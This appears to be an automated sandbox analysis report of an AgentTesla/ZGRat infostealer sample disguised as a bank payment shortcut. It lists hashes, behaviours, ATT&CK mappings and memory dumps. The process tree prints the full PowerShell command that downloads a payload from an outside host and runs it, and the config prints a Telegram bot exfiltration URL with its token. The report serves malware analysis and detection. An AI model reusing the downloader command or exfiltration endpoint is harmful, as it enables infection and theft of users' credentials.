agenttesla | 8420bf1711e75f17cb07a83a66e038f9635968eeaa17c3540c966347bb1d373c

Analysis

max time kernel
114s
max time network
122s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
20-02-2024 07:07

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General

Target

Banque BEA_Copie de Paiement_txt.lnk
Size

2KB
MD5

32d11ce69ae0bae7375a6a9fcdf65238
SHA1

d7ee753812e1b9180d7df3df34df08f13c97ac7a
SHA256

8420bf1711e75f17cb07a83a66e038f9635968eeaa17c3540c966347bb1d373c
SHA512

3e4c138fdb052ea6a1bd313f0330ce7a0f7b4abff4eccbc612aaccf639ef5fa50491987e8e22817e028c465762547cd253cc1f0d32944f106b0f06ab703cc2a3

Score

10^/10

agenttesla zgrat keylogger persistence rat spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://remisat.com.uy/bim/office.bat

Extracted

Family

agenttesla

https://api.telegram.org/bot6788300365:AAHk2GTWUvl7PlvMxXk2M1D_7e1yYgg26zE/

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect ZGRat V1 34 IoCs

resource	yara_rule
behavioral2/memory/1860-27-0x0000000006260000-0x0000000006318000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-30-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-31-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-33-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-35-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-37-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-39-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-41-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-43-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-45-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-47-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-49-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-51-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-53-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-55-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-57-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-59-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-61-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-63-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-65-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-67-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-69-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-71-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-73-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-75-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-77-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-79-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-81-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-83-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-85-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-87-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-89-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-91-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1
behavioral2/memory/1860-93-0x0000000006260000-0x0000000006313000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	1564	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
1860	word.exe
5052	word.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Uuxxxvzm = "C:\\Users\\Admin\\AppData\\Roaming\\Uuxxxvzm.exe"	word.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1860 set thread context of 5052	1860	word.exe	89

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1564	powershell.exe
1564	powershell.exe
5052	word.exe
5052	word.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeDebugPrivilege	1860	word.exe
Token: SeDebugPrivilege	5052	word.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4804 wrote to memory of 1564	4804	cmd.exe	86
PID 4804 wrote to memory of 1564	4804	cmd.exe	86
PID 1564 wrote to memory of 4132	1564	powershell.exe	87
PID 1564 wrote to memory of 4132	1564	powershell.exe	87
PID 1564 wrote to memory of 1860	1564	powershell.exe	88
PID 1564 wrote to memory of 1860	1564	powershell.exe	88
PID 1564 wrote to memory of 1860	1564	powershell.exe	88
PID 1860 wrote to memory of 5052	1860	word.exe	89
PID 1860 wrote to memory of 5052	1860	word.exe	89
PID 1860 wrote to memory of 5052	1860	word.exe	89
PID 1860 wrote to memory of 5052	1860	word.exe	89
PID 1860 wrote to memory of 5052	1860	word.exe	89
PID 1860 wrote to memory of 5052	1860	word.exe	89
PID 1860 wrote to memory of 5052	1860	word.exe	89
PID 1860 wrote to memory of 5052	1860	word.exe	89

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Banque BEA_Copie de Paiement_txt.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -noLogo -Command notepad.exe;(new-object System.Net.WebClient).DownloadFile('https://remisat.com.uy/bim/office.bat','word.exe');./word.exe;
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1564
- - C:\Windows\system32\notepad.exe
    "C:\Windows\system32\notepad.exe"
    3⤵
    PID:4132
- - C:\Users\Admin\AppData\Local\Temp\word.exe
    "C:\Users\Admin\AppData\Local\Temp\word.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1860
  - - C:\Users\Admin\AppData\Local\Temp\word.exe
      C:\Users\Admin\AppData\Local\Temp\word.exe
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\word.exe.log

Filesize
1KB

MD5
9121e6ef340710951d0829deb721bf6a

SHA1
3354ef7bc1f26e0e64e40907ff9a347df5630e1e

SHA256
6fa111c0652755148dffb297e76843ba63eb86dfe92b6fa18a3f715dd4c21baa

SHA512
e89216568cb6b64319dd69507875d74ab17d4bf464ea97f82df5f25ca974fa94709f828b951e81039fd442861d08fd92a481ea5917e40ace6df67e0b442e0e57

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vmin5fok.52l.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\word.exe

Filesize
33KB

MD5
d5b2699f5db98b878a555b02c908a91a

SHA1
6a88c9e99108d0cb856c26f28b051de89e776666

SHA256
98db16986decc074c69f47419cb5cd4a55c6a776baf68c7781e5a1a5df0f3eb4

SHA512
400f2d42c6172fd5b2e958892eeaa576683719bbb5fb4e901202b627a5f81f15cd82cbce0f69921502faf45e4ce18bc04c81214d54bbe4437d3602d9dab147b0

Download Submit
memory/1564-3-0x00000224483A0000-0x00000224483C2000-memory.dmp

Filesize
136KB

Download
memory/1564-12-0x00007FFF93ED0000-0x00007FFF94991000-memory.dmp

Filesize
10.8MB

Download
memory/1564-13-0x0000022448390000-0x00000224483A0000-memory.dmp

Filesize
64KB

Download
memory/1564-14-0x0000022448390000-0x00000224483A0000-memory.dmp

Filesize
64KB

Download
memory/1564-23-0x00007FFF93ED0000-0x00007FFF94991000-memory.dmp

Filesize
10.8MB

Download
memory/1860-24-0x00000000746A0000-0x0000000074E50000-memory.dmp

Filesize
7.7MB

Download
memory/1860-25-0x0000000000EE0000-0x0000000000EEE000-memory.dmp

Filesize
56KB

Download
memory/1860-26-0x0000000003340000-0x0000000003350000-memory.dmp

Filesize
64KB

Download
memory/1860-27-0x0000000006260000-0x0000000006318000-memory.dmp

Filesize
736KB

Download
memory/1860-28-0x0000000006940000-0x0000000006F58000-memory.dmp

Filesize
6.1MB

Download
memory/1860-29-0x0000000006470000-0x000000000657A000-memory.dmp

Filesize
1.0MB

Download
memory/1860-30-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-31-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-33-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-35-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-37-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-39-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-41-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-43-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-45-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-47-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-49-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-51-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-53-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-55-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-57-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-59-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-61-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-63-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-65-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-67-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-69-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-71-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-73-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-75-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-77-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-79-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-81-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-83-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-85-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-87-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-89-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-91-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-93-0x0000000006260000-0x0000000006313000-memory.dmp

Filesize
716KB

Download
memory/1860-1144-0x00000000063B0000-0x00000000063B1000-memory.dmp

Filesize
4KB

Download
memory/1860-1145-0x0000000006580000-0x00000000065C2000-memory.dmp

Filesize
264KB

Download
memory/1860-1146-0x00000000065C0000-0x000000000660C000-memory.dmp

Filesize
304KB

Download
memory/1860-1147-0x0000000007660000-0x0000000007C04000-memory.dmp

Filesize
5.6MB

Download
memory/1860-1153-0x00000000746A0000-0x0000000074E50000-memory.dmp

Filesize
7.7MB

Download
memory/5052-1154-0x00000000746A0000-0x0000000074E50000-memory.dmp

Filesize
7.7MB

Download
memory/5052-1155-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/5052-1157-0x00000000051C0000-0x0000000005226000-memory.dmp

Filesize
408KB

Download
memory/5052-1156-0x00000000050B0000-0x00000000050C0000-memory.dmp

Filesize
64KB

Download
memory/5052-1158-0x0000000006780000-0x000000000681C000-memory.dmp

Filesize
624KB

Download
memory/5052-1159-0x0000000006A00000-0x0000000006A92000-memory.dmp

Filesize
584KB

Download
memory/5052-1160-0x00000000069C0000-0x00000000069CA000-memory.dmp

Filesize
40KB

Download
memory/5052-1161-0x00000000746A0000-0x0000000074E50000-memory.dmp

Filesize
7.7MB

Download
memory/5052-1162-0x00000000050B0000-0x00000000050C0000-memory.dmp

Filesize
64KB

Download